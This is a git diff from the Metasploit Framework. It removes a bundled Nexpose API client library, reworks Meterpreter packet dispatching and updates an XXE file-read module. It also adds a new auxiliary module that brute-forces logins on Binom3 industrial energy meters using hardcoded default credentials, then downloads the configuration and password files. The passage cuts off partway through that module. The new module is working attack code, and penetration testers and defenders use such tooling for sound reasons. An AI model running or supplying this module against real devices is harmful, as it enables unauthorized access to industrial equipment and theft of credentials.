" + nsc.error_msg.to_s
-# end
-#
-class Connection
- include XMLUtils
- include NexposeAPI
-
- # true if an error condition exists; false otherwise
- attr_reader :error
- # Error message string
- attr_reader :error_msg
- # The last XML request sent by this object
- attr_reader :request_xml
- # The last XML response received by this object
- attr_reader :response_xml
- # Session ID of this connection
- attr_reader :session_id
- # The hostname or IP Address of the NSC
- attr_reader :host
- # The port of the NSC (default is 3780)
- attr_reader :port
- # The username used to login to the NSC
- attr_reader :username
- # The password used to login to the NSC
- attr_reader :password
- # The URL for communication
- attr_reader :url
-
- # Constructor for Connection
- def initialize(ip, user, pass, port = 3780)
- @host = ip
- @port = port
- @username = user
- @password = pass
- @session_id = nil
- @error = false
- @url = "https://#{@host}:#{@port}/api/1.1/xml"
- @url_base = "https://#{@host}:#{@port}/api/"
- end
-
- # Establish a new connection and Session ID
- def login
-
- # This throws an APIError exception if necessary
- r = execute(make_xml('LoginRequest', { 'sync-id' => 0, 'password' => @password, 'user-id' => @username }))
- if(r.success)
- @session_id = r.sid
- return true
- end
-
- false
- end
-
- # Logout of the current connection
- def logout
- # Bypass logout unless we have an actual session ID
- return true unless @session_id
-
- r = execute(make_xml('LogoutRequest', {'sync-id' => 0}))
- if(r.success)
- return true
- end
- raise APIError.new(r, 'Logout failed')
- end
-
- # Execute an API request
- def execute(xml, version='1.1')
- APIRequest.execute("#{@url_base}#{version}/xml", xml.to_s)
- end
-
- # Download a specific URL
- def download(url)
- uri = URI.parse(url)
- http = Net::HTTP.new(@host, @port)
- http.use_ssl = true
- http.verify_mode = OpenSSL::SSL::VERIFY_NONE # XXX: security issue
- headers = {'Cookie' => "nexposeCCSessionID=#{@session_id}"}
- resp = http.get(uri.path, headers)
-
- resp ? resp.body : nil
- end
-end
-
-# === Description
-# Object that represents a listing of all of the sites available on an NSC.
-#
-# === Example
-# # Create a new Nexpose Connection on the default port and Login
-# nsc = Connection.new("10.1.40.10","nxadmin","password")
-# nsc->login();
-#
-# # Get Site Listing
-# sitelisting = SiteListing.new(nsc)
-#
-# # Enumerate through all of the SiteSummaries
-# sitelisting.sites.each do |sitesummary|
-# # Do some operation on each site
-# end
-#
-class SiteListing
- # true if an error condition exists; false otherwise
- attr_reader :error
- # Error message string
- attr_reader :error_msg
- # The last XML request sent by this object
- attr_reader :request_xml
- # The last XML response received by this object
- attr_reader :response_xml
- # The NSC Connection associated with this object
- attr_reader :connection
- # Array containing SiteSummary objects for each site in the connection
- attr_reader :sites
- # The number of sites
- attr_reader :site_count
-
- # Constructor
- # SiteListing (connection)
- def initialize(connection)
- @sites = []
-
- @connection = connection
-
- r = @connection.execute('#{replace_entities(hostname)} "
- end
-end
-
-# === Description
-# Object that represents the configuration of a Site. This object is automatically created when a new Site object is instantiated.
-#
-class SiteConfig
- # true if an error condition exists; false otherwise
- attr_reader :error
- # Error message string
- attr_reader :error_msg
- # The last XML request sent by this object
- attr_reader :request_xml
- # The last XML response received by this object
- attr_reader :response_xml
- # The NSC Connection associated with this object
- attr_reader :connection
- # The Site ID
- attr_reader :site_id
- # The Site Name
- attr_reader :site_name
- # A Description of the Site
- attr_reader :description
- # User assigned risk multiplier
- attr_reader :riskfactor
- # Array containing ((IPRange|HostName)*)
- attr_reader :hosts
- # Array containing (AdminCredentials*)
- attr_reader :credentials
- # Array containing ((SmtpAlera|SnmpAlert|SyslogAlert)*)
- attr_reader :alerts
- # ScanConfig object which holds Schedule and ScanTrigger Objects
- attr_reader :scanConfig
-
- def initialize()
- @xml_tag_stack = Array.new()
- @hosts = Array.new()
- @credentials = Array.new()
- @alerts = Array.new()
- @error = false
- end
-
- # Adds a new host to the hosts array
- def addHost(host)
- @hosts.push(host)
- end
-
- # Adds a new alert to the alerts array
- def addAlert(alert)
- @alerts.push(alert)
- end
-
- # Adds a new set of credentials to the credentials array
- def addCredentials(credential)
- @credentials.push(credential)
- end
-
- # TODO
- def getSiteConfig(connection,site_id)
- @connection = connection
- @site_id = site_id
-
- r = APIRequest.execute(@connection.url,'
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-=end
-
- def parse(response)
- response.elements.each('SiteConfigResponse/Site') do |s|
- @site_id = s.attributes['id']
- @site_name = s.attributes['name']
- @description = s.attributes['description']
- @riskfactor = s.attributes['riskfactor']
- s.elements.each('Hosts/range') do |r|
- @hosts.push(IPRange.new(r.attributes['from'],r.attributes['to']))
- end
- s.elements.each('ScanConfig') do |c|
- @scanConfig = ScanConfig.new(c.attributes['configID'],
- c.attributes['name'],
- c.attributes['configVersion'],
- c.attributes['templateID'])
- s.elements.each('Schedule') do |schedule|
- schedule = new Schedule(schedule.attributes["type"], schedule.attributes["interval"], schedule.attributes["start"], schedule.attributes["enabled"])
- @scanConfig.addSchedule(schedule)
- end
- end
-
- s.elements.each('Alerting/Alert') do |a|
-
- a.elements.each('smtpAlert') do |smtp|
- smtp_alert = SmtpAlert.new(a.attributes["name"], smtp.attributes["sender"], smtp.attributes["limitText"], a.attributes["enabled"])
-
- smtp.elements.each('recipient') do |recipient|
- smtp_alert.addRecipient(recipient.text)
- end
- @alerts.push(smtp_alert)
- end
-
- a.elements.each('snmpAlert') do |snmp|
- snmp_alert = SnmpAlert.new(a.attributes["name"], snmp.attributes["community"], snmp.attributes["server"], a.attributes["enabled"])
- @alerts.push(snmp_alert)
- end
- a.elements.each('syslogAlert') do |syslog|
- syslog_alert = SyslogAlert.new(a.attributes["name"], syslog.attributes["server"], a.attributes["enabled"])
- @alerts.push(syslog_alert)
- end
-
- a.elements.each('vulnFilter') do |vulnFilter|
-
- #vulnfilter = new VulnFilter.new(a.attributes["typemask"], a.attributes["severityThreshold"], $attrs["MAXALERTS"])
- # Pop off the top alert on the stack
- #$alert = @alerts.pop()
- # Add the new recipient string to the Alert Object
- #$alert.setVulnFilter($vulnfilter)
- # Push the alert back on to the alert stack
- #array_push($this->alerts, $alert)
- end
-
- a.elements.each('scanFilter') do |scanFilter|
- #' + getSiteXML() + ' ')
- if (r.success)
- @site_id = r.attributes['site-id']
- @site_config._set_site_id(@site_id)
- @site_config.scanConfig._set_configID(@site_id)
- @site_config.scanConfig._set_name(@site_id)
- return true
- else
- return false
- end
- end
-
- def deleteSite()
- r = @connection.execute(''
-
- xml << ' '
- @site_config.hosts.each do |h|
- xml << h.to_xml if h.respond_to? :to_xml
- end
- xml << ' '
-
- xml << ''
- @site_config.credentials.each do |c|
- xml << c.to_xml if c.respond_to? :to_xml
- end
- xml << ' '
-
- xml << ' '
- @site_config.alerts.each do |a|
- xml << a.to_xml if a.respond_to? :to_xml
- end
- xml << ' '
-
- xml << ' '
-
- xml << ' '
- @site_config.scanConfig.schedules.each do |s|
- xml << ' '
-
- xml << ' '
- @site_config.scanConfig.scanTriggers.each do |s|
-
- if s.kind_of?(Nexpose::AutoUpdate)
- xml << ' '
-
- xml << ' '
-
- xml << ' '
-
- return xml
- end
-end
-
-# === Description
-# Object that represents administrative credentials to be used during a scan. When retrived from an existing site configuration the credentials will be returned as a security blob and can only be passed back as is during a Site Save operation. This object can only be used to create a new set of credentials.
-#
-class AdminCredentials
- # Security blob for an existing set of credentials
- attr_reader :securityblob
- # Designates if this object contains user defined credentials or a security blob
- attr_reader :isblob
- # The service for these credentials. Can be All.
- attr_reader :service
- # The host for these credentials. Can be Any.
- attr_reader :host
- # The port on which to use these credentials.
- attr_reader :port
- # The user id or username
- attr_reader :userid
- # The password
- attr_reader :password
- # The realm for these credentials
- attr_reader :realm
-
-
- def initialize(isblob = false)
- @isblob = isblob
- end
-
- # Sets the credentials information for this object.
- def setCredentials(service, host, port, userid, password, realm)
- @isblob = false
- @securityblob = nil
- @service = service
- @host = host
- @port = port
- @userid = userid
- @password = password
- @realm = realm
- end
-
- # TODO: add description
- def setService(service)
- @service = service
- end
-
- def setHost(host)
- @host = host
- end
-
- # TODO: add description
- def setBlob(securityblob)
- @isblob = true
- @securityblob = securityblob
- end
-
- include Sanitize
- def to_xml
- xml = ''
- xml << ''
- xml << replace_entities(securityblob) if (isblob)
- xml << ''
-
- xml
- end
-end
-
-
-# === Description
-# Object that represents an SMTP (Email) Alert.
-#
-class SmtpAlert
- # A unique name for this alert
- attr_reader :name
- # If this alert is enabled or not
- attr_reader :enabled
- # The email address of the sender
- attr_reader :sender
- # Limit the text for mobile devices
- attr_reader :limitText
- # Array containing Strings of email addresses
- # Array of strings with the email addresses of the intended recipients
- attr_reader :recipients
- # The vulnerability filter to trigger the alert
- attr_reader :vulnFilter
- # The alert type
- attr_reader :type
-
- def initialize(name, sender, limitText, enabled = 1)
- @type = :smtp
- @name = name
- @sender = sender
- @enabled = enabled
- @limitText = limitText
- @recipients = Array.new()
- # Sets default vuln filter - All Events
- setVulnFilter(VulnFilter.new("50790400",1))
- end
-
- # Adds a new Recipient to the recipients array
- def addRecipient(recipient)
- @recipients.push(recipient)
- end
-
- # Sets the Vulnerability Filter for this alert.
- def setVulnFilter(vulnFilter)
- @vulnFilter = vulnFilter
- end
-
- include Sanitize
- def to_xml
- xml = "}
- recipients.each do |recpt|
- xml << "#{replace_entities(recpt)} "
- end
- xml << vulnFilter.to_xml
- xml << ""
- xml
- end
-end
-
-# === Description
-# Object that represents an SNMP Alert.
-#
-class SnmpAlert
-
- # A unique name for this alert
- attr_reader :name
- # If this alert is enabled or not
- attr_reader :enabled
- # The community string
- attr_reader :community
- # The SNMP server to sent this alert
- attr_reader :server
- # The vulnerability filter to trigger the alert
- attr_reader :vulnFilter
- # The alert type
- attr_reader :type
-
- def initialize(name, community, server, enabled = 1)
- @type = :snmp
- @name = name
- @community = community
- @server = server
- @enabled = enabled
- # Sets default vuln filter - All Events
- setVulnFilter(VulnFilter.new("50790400",1))
- end
-
- # Sets the Vulnerability Filter for this alert.
- def setVulnFilter(vulnFilter)
- @vulnFilter = vulnFilter
- end
-
- include Sanitize
- def to_xml
- xml = "}
- xml << vulnFilter.to_xml
- xml << ""
- xml
- end
-
-end
-
-# === Description
-# Object that represents a Syslog Alert.
-#
-class SyslogAlert
-
- # A unique name for this alert
- attr_reader :name
- # If this alert is enabled or not
- attr_reader :enabled
- # The Syslog server to sent this alert
- attr_reader :server
- # The vulnerability filter to trigger the alert
- attr_reader :vulnFilter
- # The alert type
- attr_reader :type
-
- def initialize(name, server, enabled = 1)
- @type = :syslog
- @name = name
- @server = server
- @enabled = enabled
- # Sets default vuln filter - All Events
- setVulnFilter(VulnFilter.new("50790400",1))
-
- end
-
- # Sets the Vulnerability Filter for this alert.
- def setVulnFilter(vulnFilter)
- @vulnFilter = vulnFilter
- end
-
- include Sanitize
- def to_xml
- xml = "}
- xml << vulnFilter.to_xml
- xml << ""
- xml
- end
-
-end
-
-# TODO: review
-# '
- request_xml += ''
- request_xml += ''
- @filters.each do |f|
- request_xml += ' '
- request_xml += ' '
- request_xml += ' '
-
- ad_hoc_request = APIRequest.new(request_xml, @connection.url)
- ad_hoc_request.execute()
-
- content_type_response = ad_hoc_request.raw_response.header['Content-Type']
- if content_type_response =~ /multipart\/mixed;\s*boundary=([^\s]+)/
- # Nexpose sends an incorrect boundary format which breaks parsing
- # Eg: boundary=XXX; charset=XXX
- # Fix by removing everything from the last semi-colon onward
- last_semi_colon_index = content_type_response.index(/;/, content_type_response.index(/boundary/))
- content_type_response = content_type_response[0, last_semi_colon_index]
-
- data = "Content-Type: " + content_type_response + "\r\n\r\n" + ad_hoc_request.raw_response_data
- doc = Rex::MIME::Message.new data
- doc.parts.each do |part|
- if /.*base64.*/ =~ part.header.to_s
- return parse_xml(part.content.unpack("m*")[0])
- end
- end
- end
- end
-
- end
-
-# === Description
-# Object that represents the configuration of a report definition.
-#
-class ReportConfig
-
- # true if an error condition exists; false otherwise
- attr_reader :error
- # Error message string
- attr_reader :error_msg
- # The last XML request sent by this object
- attr_reader :request_xml
- # The last XML response received by this object
- attr_reader :response_xml
- # The NSC Connection associated with this object
- attr_reader :connection
- # The ID for this report definition
- attr_reader :config_id
- # A unique name for this report definition
- attr_reader :name
- # The template ID used for this report definition
- attr_reader :template_id
- # html, db, txt, xml, raw-xml-v2, csv, pdf
- attr_reader :format
- # XXX new
- attr_reader :timezone
- # XXX new
- attr_reader :owner
- # Array of (ReportFilter)* - The Sites, Asset Groups, or Devices to run the report against
- attr_reader :filters
- # Automatically generate a new report at the conclusion of a scan
- # 1 or 0
- attr_reader :generate_after_scan
- # Schedule to generate reports
- # ReportSchedule Object
- attr_reader :schedule
- # Store the reports on the server
- # 1 or 0
- attr_reader :storeOnServer
- # Location to store the report on the server
- attr_reader :store_location
- # Form to send the report via email
- # "file", "zip", "url", or NULL (don’t send email)
- attr_reader :email_As
- # Send the Email to all Authorized Users
- # boolean - Send the Email to all Authorized Users
- attr_reader :email_to_all
- # Array containing the email addresses of the recipients
- attr_reader :email_recipients
- # IP Address or Hostname of SMTP Relay Server
- attr_reader :smtp_relay_server
- # Sets the FROM field of the Email
- attr_reader :sender
- # TODO
- attr_reader :db_export
- # TODO
- attr_reader :csv_export
- # TODO
- attr_reader :xml_export
-
-
- def initialize(connection, config_id = -1)
-
- @error = false
- @connection = connection
- @config_id = config_id
- @xml_tag_stack = Array.new()
- @filters = Array.new()
- @email_recipients = Array.new()
- @name = "New Report " + rand(999999999).to_s
-
- r = @connection.execute('' + getXML().to_s + ' ')
- if(r.success)
- @config_id = r.attributes['reportcfg-id']
- return true
- end
- return false
- end
-
- # === Description
- # Adds a new filter to the report config
- def addFilter(filter_type, id)
- filter = ReportFilter.new(filter_type,id)
- @filters.push(filter)
- end
-
- # === Description
- # Adds a new email recipient
- def addEmailRecipient(recipient)
- @email_recipients.push(recipient)
- end
-
- # === Description
- # Sets the schedule for this report config
- def setSchedule(schedule)
- @schedule = schedule
- end
-
- def getXML()
-
- xml = ''
-
- xml += ' '
-
- @filters.each do |f|
- xml += ' <' + f.type.to_s + ' id="' + f.id.to_s + '"/>'
- end
-
- xml += ' '
-
- xml += ' '
-
- if (@schedule)
- xml += ' '
-
- xml += ' '
-
- xml += ' '
-
- if (@store_location and @store_location.length > 0)
- xml += ' ' + @store_location.to_s + ' '
- end
-
- xml += ' '
-
-
- xml += ' '
-
- xml += ' '
-
- return xml
- end
-
- def set_name(name)
- @name = name
- end
-
- def set_template_id(template_id)
- @template_id = template_id
- end
-
- def set_format(format)
- @format = format
- end
-
- def set_email_As(email_As)
- @email_As = email_As
- end
-
- def set_storeOnServer(storeOnServer)
- @storeOnServer = storeOnServer
- end
-
- def set_smtp_relay_server(smtp_relay_server)
- @smtp_relay_server = smtp_relay_server
- end
-
- def set_sender(sender)
- @sender = sender
- end
-
- def set_generate_after_scan(generate_after_scan)
- @generate_after_scan = generate_after_scan
- end
-end
-
-# === Description
-# Object that represents a report filter which determines which sites, asset
-# groups, and/or devices that a report is run against. gtypes are
-# "SiteFilter", "AssetGroupFilter", "DeviceFilter", or "ScanFilter". gid is
-# the site-id, assetgroup-id, or devce-id. ScanFilter, if used, specifies
-# a specifies a specific scan to use as the data source for the report. The gid
-# can be a specific scan-id or "first" for the first run scan, or “last” for
-# the last run scan.
-#
-class ReportFilter
-
- attr_reader :type
- attr_reader :id
-
- def initialize(type, id)
-
- @type = type
- @id = id
-
- end
-
-end
-
-# === Description
-# Object that represents the schedule on which to automatically generate new reports.
-#
-class ReportSchedule
-
- # The type of schedule
- # (daily, hourly, monthly, weekly)
- attr_reader :type
- # The frequency with which to run the scan
- attr_reader :interval
- # The earliest date to generate the report
- attr_reader :start
-
- def initialize(type, interval, start)
-
- @type = type
- @interval = interval
- @start = start
-
- end
-
-
-end
-
-class ReportTemplateListing
-
- attr_reader :error_msg
- attr_reader :error
- attr_reader :request_xml
- attr_reader :response_xml
- attr_reader :connection
- attr_reader :xml_tag_stack
- attr_reader :report_template_summaries#; //Array (ReportTemplateSummary*)
-
-
- def ReportTemplateListing(connection)
-
- @error = nil
- @connection = connection
- @report_template_summaries = Array.new()
-
- r = @connection.execute(''
- request_xml += ''
- device_array.each do |d|
- request_xml += ' '
- request_xml += ''
- # The host array can only by single IP addresses for now. TODO: Expand to full API Spec.
- host_array.each do |h|
- request_xml += ' '
- request_xml += ' '
-
- r = connection.execute(request_xml)
- r.success ? { :engine_id => r.attributes['engine_id'], :scan_id => r.attributes['scan-id'] } : nil
-end
-
-# === Description
-# TODO
-def self.getAttribute(attribute, xml)
- value = ''
- #@value = substr(substr(strstr(strstr(@xml,@attribute),'"'),1),0,strpos(substr(strstr(strstr(@xml,@attribute),'"'),1),'"'))
- return value
-end
-
-# === Description
-# Returns an ISO 8601 formatted date/time stamp. All dates in Nexpose must use this format.
-def self.get_iso_8601_date(int_date)
-#@date_mod = date('Ymd\THis000', @int_date)
- date_mod = ''
-return date_mod
-end
-
-# ==== Description
-# Echos the last XML API request and response for the specified object. (Useful for debugging)
-def self.printXML(object)
- puts "request" + object.request_xml.to_s
- puts "response is " + object.response_xml.to_s
-end
-
-end
diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb
index cb4a95702b..21bd21ac35 100644
--- a/lib/rex/post/meterpreter/packet_dispatcher.rb
+++ b/lib/rex/post/meterpreter/packet_dispatcher.rb
@@ -284,6 +284,20 @@ module PacketDispatcher
# Reception
#
##
+
+ #
+ # Simple class to track packets and if they are in-progress or complete.
+ #
+ class QueuedPacket
+ attr_reader :packet
+ attr_reader :in_progress
+
+ def initialize(packet, in_progress)
+ @packet = packet
+ @in_progress = in_progress
+ end
+ end
+
#
# Monitors the PacketDispatcher's sock for data in its own
# thread context and parsers all inbound packets.
@@ -306,8 +320,8 @@ module PacketDispatcher
begin
rv = Rex::ThreadSafe.select([ self.sock.fd ], nil, nil, PING_TIME)
if rv
- packet = receive_packet
- @pqueue << packet if packet
+ packet, in_progress = receive_packet
+ @pqueue << QueuedPacket.new(packet, in_progress)
elsif self.send_keepalives && @pqueue.empty?
keepalive
end
@@ -342,11 +356,11 @@ module PacketDispatcher
tmp_channel = []
tmp_close = []
backlog.each do |pkt|
- if(pkt.response?)
+ if(pkt.packet.response?)
tmp_command << pkt
next
end
- if(pkt.method == "core_channel_close")
+ if(pkt.packet.method == "core_channel_close")
tmp_close << pkt
next
end
@@ -365,7 +379,7 @@ module PacketDispatcher
backlog.each do |pkt|
begin
- if ! dispatch_inbound_packet(pkt)
+ if ! dispatch_inbound_packet(pkt.packet, pkt.in_progress)
# Keep Packets in the receive queue until a handler is registered
# for them. Packets will live in the receive queue for up to
# PACKET_TIMEOUT seconds, after which they will be dropped.
@@ -373,13 +387,15 @@ module PacketDispatcher
# A common reason why there would not immediately be a handler for
# a received Packet is in channels, where a connection may
# open and receive data before anything has asked to read.
- if (::Time.now.to_i - pkt.created_at.to_i < PACKET_TIMEOUT)
+ #
+ # Also, don't bother saving incomplete packets if we have no handler.
+ if (!pkt.in_progress and ::Time.now.to_i - pkt.packet.created_at.to_i < PACKET_TIMEOUT)
incomplete << pkt
end
end
rescue ::Exception => e
- dlog("Dispatching exception with packet #{pkt}: #{e} #{e.backtrace}", 'meterpreter', LEV_1)
+ dlog("Dispatching exception with packet #{pkt.packet}: #{e} #{e.backtrace}", 'meterpreter', LEV_1)
end
end
@@ -459,12 +475,16 @@ module PacketDispatcher
# Notifies a whomever is waiting for a the supplied response,
# if anyone.
#
- def notify_response_waiter(response)
+ # For not-yet-complete responses, we might not be able to determine
+ # the response ID, in that case just let all waiters know that some
+ # responses are trickling in.
+ #
+ def notify_response_waiter(response, in_progress=false)
handled = false
self.waiters.each() { |waiter|
- if (waiter.waiting_for?(response))
- waiter.notify(response)
- remove_response_waiter(waiter)
+ if (in_progress || waiter.waiting_for?(response))
+ waiter.notify(response, in_progress)
+ remove_response_waiter(waiter) unless in_progress
handled = true
break
end
@@ -498,7 +518,7 @@ module PacketDispatcher
# Otherwise, the packet is passed onto any registered dispatch
# handlers until one returns success.
#
- def dispatch_inbound_packet(packet)
+ def dispatch_inbound_packet(packet, in_progress=false)
handled = false
# Update our last reply time
@@ -507,7 +527,7 @@ module PacketDispatcher
# If the packet is a response, try to notify any potential
# waiters
if packet.response?
- if (notify_response_waiter(packet))
+ if (notify_response_waiter(packet, in_progress))
return true
end
end
diff --git a/lib/rex/post/meterpreter/packet_parser.rb b/lib/rex/post/meterpreter/packet_parser.rb
index 5b33c7b7c5..4575381790 100644
--- a/lib/rex/post/meterpreter/packet_parser.rb
+++ b/lib/rex/post/meterpreter/packet_parser.rb
@@ -75,22 +75,27 @@ class PacketParser
end
end
+ in_progress = true
+
+ # TODO: cipher decryption
+ if (cipher)
+ end
+
+ # Deserialize the packet from the raw buffer
+ packet.from_r(self.raw)
+
# If we've finished reading the entire packet
if ((self.hdr_length_left == 0) &&
(self.payload_length_left == 0))
- # TODO: cipher decryption
- if (cipher)
- end
-
- # Deserialize the packet from the raw buffer
- packet.from_r(self.raw)
-
# Reset our state
reset
- return packet
+ # packet is complete!
+ in_progress = false
end
+
+ return packet, in_progress
end
protected
diff --git a/lib/rex/post/meterpreter/packet_response_waiter.rb b/lib/rex/post/meterpreter/packet_response_waiter.rb
index 5f2f1557d7..637e1b9a95 100644
--- a/lib/rex/post/meterpreter/packet_response_waiter.rb
+++ b/lib/rex/post/meterpreter/packet_response_waiter.rb
@@ -39,6 +39,9 @@ class PacketResponseWaiter
# @return [Integer] request ID to wait for
attr_accessor :rid
+ # @return [Boolean] indicates if part of the response has been received
+ attr_accessor :in_progress
+
#
# Initializes a response waiter instance for the supplied request
# identifier.
@@ -46,6 +49,7 @@ class PacketResponseWaiter
def initialize(rid, completion_routine = nil, completion_param = nil)
self.rid = rid.dup
self.response = nil
+ self.in_progress = false
if (completion_routine)
self.completion_routine = completion_routine
@@ -69,14 +73,21 @@ class PacketResponseWaiter
#
# @param response [Packet]
# @return [void]
- def notify(response)
+ def notify(response, in_progress = false)
if (self.completion_routine)
- self.response = response
- self.completion_routine.call(response, self.completion_param)
+ self.in_progress = in_progress
+ unless in_progress
+ self.response = response
+ self.completion_routine.call(response, self.completion_param)
+ end
else
self.mutex.synchronize do
- self.response = response
- self.cond.signal
+ self.in_progress = in_progress
+ unless in_progress
+ # complete packet, ready for processing...
+ self.response = response
+ self.cond.signal
+ end
end
end
end
@@ -92,7 +103,11 @@ class PacketResponseWaiter
interval = nil if interval and interval == -1
self.mutex.synchronize do
if self.response.nil?
- self.cond.wait(self.mutex, interval)
+ loop do
+ self.cond.wait(self.mutex, interval)
+ break unless self.in_progress
+ self.in_progress = false
+ end
end
end
return self.response
diff --git a/metasploit-framework.gemspec b/metasploit-framework.gemspec
index 1d985f324b..b3691681fb 100644
--- a/metasploit-framework.gemspec
+++ b/metasploit-framework.gemspec
@@ -65,7 +65,7 @@ Gem::Specification.new do |spec|
# are needed when there's no database
spec.add_runtime_dependency 'metasploit-model'
# Needed for Meterpreter
- spec.add_runtime_dependency 'metasploit-payloads', '1.2.14'
+ spec.add_runtime_dependency 'metasploit-payloads', '1.2.15'
# Needed for the next-generation POSIX Meterpreter
spec.add_runtime_dependency 'metasploit_payloads-mettle', '0.1.7'
# Needed by msfgui and other rpc components
@@ -163,4 +163,6 @@ Gem::Specification.new do |spec|
spec.add_runtime_dependency 'openvas-omp'
# Needed by metasploit nessus bridge
spec.add_runtime_dependency 'nessus_rest'
+ # Nexpose Gem
+ spec.add_runtime_dependency 'nexpose'
end
diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb
index c0636e47c6..6e20542aee 100644
--- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb
+++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb
@@ -4,7 +4,7 @@
##
require 'msf/core'
-require 'rapid7/nexpose'
+require 'nexpose'
class MetasploitModule < Msf::Auxiliary
@@ -74,9 +74,10 @@ class MetasploitModule < Msf::Auxiliary
def run
user = datastore['USERNAME']
pass = datastore['PASSWORD']
+ trust_store = datastore['TRUST_STORE']
prot = ssl ? 'https' : 'http'
- nsc = Nexpose::Connection.new(rhost, user, pass, rport)
+ nsc = Nexpose::Connection.new(rhost, user, pass, rport, nil, nil, trust_store)
print_status("Authenticating as: " << user)
begin
@@ -140,7 +141,7 @@ class MetasploitModule < Msf::Auxiliary
print_status("Cleaning up")
begin
- nsc.site_delete id
+ nsc.delete_site id
rescue
print_warning("Error while cleaning up site ID, manual cleanup required!")
end
diff --git a/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb
new file mode 100644
index 0000000000..f07ad9bb96
--- /dev/null
+++ b/modules/auxiliary/scanner/http/binom3_login_config_pass_dump.rb
@@ -0,0 +1,208 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+require 'msf/core'
+
+class MetasploitModule < Msf::Auxiliary
+ include Msf::Exploit::Remote::HttpClient
+ include Msf::Auxiliary::AuthBrute
+ include Msf::Auxiliary::Report
+ include Msf::Auxiliary::Scanner
+
+ def initialize(info={})
+ super(update_info(info,
+ 'Name' => 'Binom3 Web Management Login Scanner, Config and Password File Dump',
+ 'Description' => %{
+ This module scans for Binom3 Multifunctional Revenue Energy Meter and Power Quality Analyzer
+ management login portal(s), and attempts to identify valid credentials.
+ There are four (4) default accounts - 'root'/'root', 'admin'/'1', 'alg'/'1', 'user'/'1'.
+ In addition to device config, 'root' user can also access password file.
+ Other users - admin, alg, user - can only access configuration file.
+ The module attempts to download configuration and password files depending on the login user credentials found.
+ },
+ 'References' =>
+ [
+ ['URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-17-031-01']
+ ],
+ 'Author' =>
+ [
+ 'Karn Ganeshen '
+ ],
+ 'License' => MSF_LICENSE,
+ 'DefaultOptions' => { 'VERBOSE' => true })
+ )
+
+ register_options(
+ [
+ Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.
+ OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'root']),
+ OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'root'])
+ ], self.class
+ )
+ end
+
+ def run_host(ip)
+ unless is_app_binom3?
+ return
+ end
+
+ each_user_pass do |user, pass|
+ do_login(user, pass)
+ end
+ end
+
+ def report_cred(opts)
+ service_data = {
+ address: opts[:ip],
+ port: opts[:port],
+ service_name: opts[:service_name],
+ protocol: 'tcp',
+ workspace_id: myworkspace_id
+ }
+
+ credential_data = {
+ origin_type: :service,
+ module_fullname: fullname,
+ username: opts[:user],
+ private_data: opts[:password],
+ private_type: :password
+ }.merge(service_data)
+
+ login_data = {
+ last_attempted_at: Time.now,
+ core: create_credential(credential_data),
+ status: Metasploit::Model::Login::Status::SUCCESSFUL,
+ proof: opts[:proof]
+ }.merge(service_data)
+
+ create_credential_login(login_data)
+ end
+
+ #
+ # Check if App is Binom3
+ #
+
+ def is_app_binom3?
+ begin
+ res = send_request_cgi(
+ {
+ 'uri' => '/',
+ 'method' => 'GET'
+ }
+ )
+ rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
+ print_error("#{rhost}:#{rport} - HTTP Connection Failed...")
+ return false
+ end
+
+ if (res && res.code == 200 && res.headers['Server'] && (res.headers['Server'].include?('Team-R Web') || res.body.include?('binom_ico') || res.body.include?('team-r')))
+
+ print_good("#{rhost}:#{rport} - Binom3 confirmed...")
+
+ return true
+ else
+ print_error("#{rhost}:#{rport} - Application does not appear to be Binom3. Module will not continue.")
+ return false
+ end
+ end
+
+ #
+ # Brute-force the login page
+ #
+
+ def do_login(user, pass)
+ print_status("#{rhost}:#{rport} - Trying username:#{user.inspect} with password:#{pass.inspect}")
+ begin
+
+ res = send_request_cgi(
+ {
+ 'uri' => '/~login',
+ 'method' => 'POST',
+ 'headers' => { 'Content-Type' => 'application/x-www-form-urlencoded' },
+ 'vars_post' =>
+ {
+ 'login' => user,
+ 'password' => pass
+ }
+ }
+ )
+
+ rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE
+
+ vprint_error("#{rhost}:#{rport} - HTTP Connection Failed...")
+ return :abort
+
+ end
+
+ if (res && res.code == 302 && res.get_cookies.include?('IDSESSION'))
+
+ print_good("SUCCESSFUL LOGIN - #{rhost}:#{rport} - #{user.inspect}:#{pass.inspect}")
+
+ report_cred(
+ ip: rhost,
+ port: rport,
+ service_name: 'Binom3',
+ user: user,
+ password: pass
+ )
+
+ # Set Cookie
+
+ get_cookie = res.get_cookies
+ cookie = get_cookie + ' NO-HELP=true; onlyRu=1'
+
+ # Attempting to download config file
+
+ config_uri = '~cfg_ask_xml?type=cfg'
+
+ res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie })
+
+ if res && res.code == 200
+ vprint_status('++++++++++++++++++++++++++++++++++++++')
+ vprint_status("#{rhost} - dumping configuration")
+ vprint_status('++++++++++++++++++++++++++++++++++++++')
+
+ print_good("#{rhost}:#{rport} - Configuration file retrieved successfully!")
+ path = store_loot(
+ 'Binom3_config',
+ 'text/xml',
+ rhost,
+ res.body,
+ rport,
+ 'Binom3 device config'
+ )
+ print_status("#{rhost}:#{rport} - Configuration file saved in: #{path}")
+ else
+ print_error("#{rhost}:#{rport} - Failed to retrieve configuration")
+ return
+ end
+
+ # Attempt to dump password file
+ config_uri = '~cfg_ask_xml?type=passw'
+ res = send_request_cgi({ 'method' => 'GET', 'uri' => config_uri, 'cookie' => cookie })
+
+ if res && res.code == 200
+ vprint_status('++++++++++++++++++++++++++++++++++++++')
+ vprint_status("#{rhost} - dumping password file")
